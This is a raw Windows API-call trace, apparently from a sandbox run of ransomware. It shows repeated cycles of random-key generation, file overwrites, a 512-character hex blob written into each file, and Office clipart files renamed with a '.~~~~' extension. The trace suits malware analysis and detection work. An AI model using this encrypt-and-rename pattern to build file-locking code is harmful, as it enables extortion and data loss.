	[0111.456] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.456] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0111.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0111.456] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23144646681) returned 1
	[0111.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xac099830, dwHighDateTime=0x1d60e1e)) 
	[0111.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0111.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0111.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0111.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fa70
	[0111.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fa70 | out: hHeap=0x300000) returned 1
	[0111.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c80a8
	[0111.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28311b8
	[0111.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c80a8 | out: hHeap=0x300000) returned 1
	[0111.457] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0111.457] GetLastError () returned 0x0
	[0111.458] GetLastError () returned 0x0
	[0111.458] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0111.458] GetLastError () returned 0x0
	[0111.458] GetLastError () returned 0x0
	[0111.462] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffebf4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.462] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x140c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x140c, lpOverlapped=0x0) returned 1
	[0111.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0111.463] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.463] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.463] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.463] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.463] CloseHandle (hObject=0x138) returned 1
	[0111.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c80a8
	[0111.463] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf.~~~~")) returned 1
	[0111.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c80a8 | out: hHeap=0x300000) returned 1
	[0111.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0111.465] GetLastError () returned 0x0
	[0111.465] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0111.466] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.466] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0111.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0111.467] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23145686930) returned 1
	[0111.467] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xac099830, dwHighDateTime=0x1d60e1e)) 
	[0111.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0111.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0111.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0111.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282faa8
	[0111.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282faa8 | out: hHeap=0x300000) returned 1
	[0111.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c80a8
	[0111.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831678
	[0111.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c80a8 | out: hHeap=0x300000) returned 1
	[0111.468] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0111.468] GetLastError () returned 0x0
	[0111.468] GetLastError () returned 0x0
	[0111.468] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0111.468] GetLastError () returned 0x0
	[0111.468] GetLastError () returned 0x0
	[0111.472] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd950, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.472] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x26b0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x26b0, lpOverlapped=0x0) returned 1
	[0111.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0111.473] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.473] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.474] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.474] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.474] CloseHandle (hObject=0x138) returned 1
	[0111.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c80a8
	[0111.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf.~~~~")) returned 1
	[0111.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c80a8 | out: hHeap=0x300000) returned 1
	[0111.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0111.475] GetLastError () returned 0x0
	[0111.476] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0111.477] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.477] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0111.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0111.477] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23146760333) returned 1
	[0111.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xac0bf990, dwHighDateTime=0x1d60e1e)) 
	[0111.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0111.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0111.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0111.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fae0
	[0111.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fae0 | out: hHeap=0x300000) returned 1
	[0111.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c80a8
	[0111.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831710
	[0111.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c80a8 | out: hHeap=0x300000) returned 1
	[0111.478] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0111.479] GetLastError () returned 0x0
	[0111.479] GetLastError () returned 0x0
	[0111.479] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0111.479] GetLastError () returned 0x0
	[0111.479] GetLastError () returned 0x0
	[0111.605] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffa990, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.605] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x5670, lpOverlapped=0x0) returned 1
	[0111.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0111.607] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.607] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.607] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.607] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.607] CloseHandle (hObject=0x138) returned 1
	[0111.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.607] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf.~~~~")) returned 1
	[0111.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0111.608] GetLastError () returned 0x0
	[0112.475] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0112.499] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.499] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0112.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0112.499] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23248952723) returned 1
	[0112.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaca6b2f0, dwHighDateTime=0x1d60e1e)) 
	[0112.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0112.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0112.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0112.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830090
	[0112.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830090 | out: hHeap=0x300000) returned 1
	[0112.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29caaa8
	[0112.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28327b0
	[0112.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.500] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0112.501] GetLastError () returned 0x0
	[0112.501] GetLastError () returned 0x0
	[0112.501] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0112.501] GetLastError () returned 0x0
	[0112.501] GetLastError () returned 0x0
	[0112.505] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff61d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.505] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x9e2c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x9e2c, lpOverlapped=0x0) returned 1
	[0112.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0112.507] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.507] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.508] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.508] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.508] CloseHandle (hObject=0x13c) returned 1
	[0112.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29caaa8
	[0112.508] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf.~~~~")) returned 1
	[0112.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0112.510] GetLastError () returned 0x0
	[0112.579] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0112.607] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.607] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0112.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0112.608] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23259773136) returned 1
	[0112.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xacb75c90, dwHighDateTime=0x1d60e1e)) 
	[0112.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0112.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0112.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0112.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830288
	[0112.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830288 | out: hHeap=0x300000) returned 1
	[0112.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29caaa8
	[0112.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832c70
	[0112.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.609] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0112.609] GetLastError () returned 0x0
	[0112.609] GetLastError () returned 0x0
	[0112.609] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0112.609] GetLastError () returned 0x0
	[0112.610] GetLastError () returned 0x0
	[0112.623] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff463c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.623] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb9c4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xb9c4, lpOverlapped=0x0) returned 1
	[0112.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0112.626] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.626] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.626] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.626] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.626] CloseHandle (hObject=0x144) returned 1
	[0112.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.626] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf.~~~~")) returned 1
	[0112.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
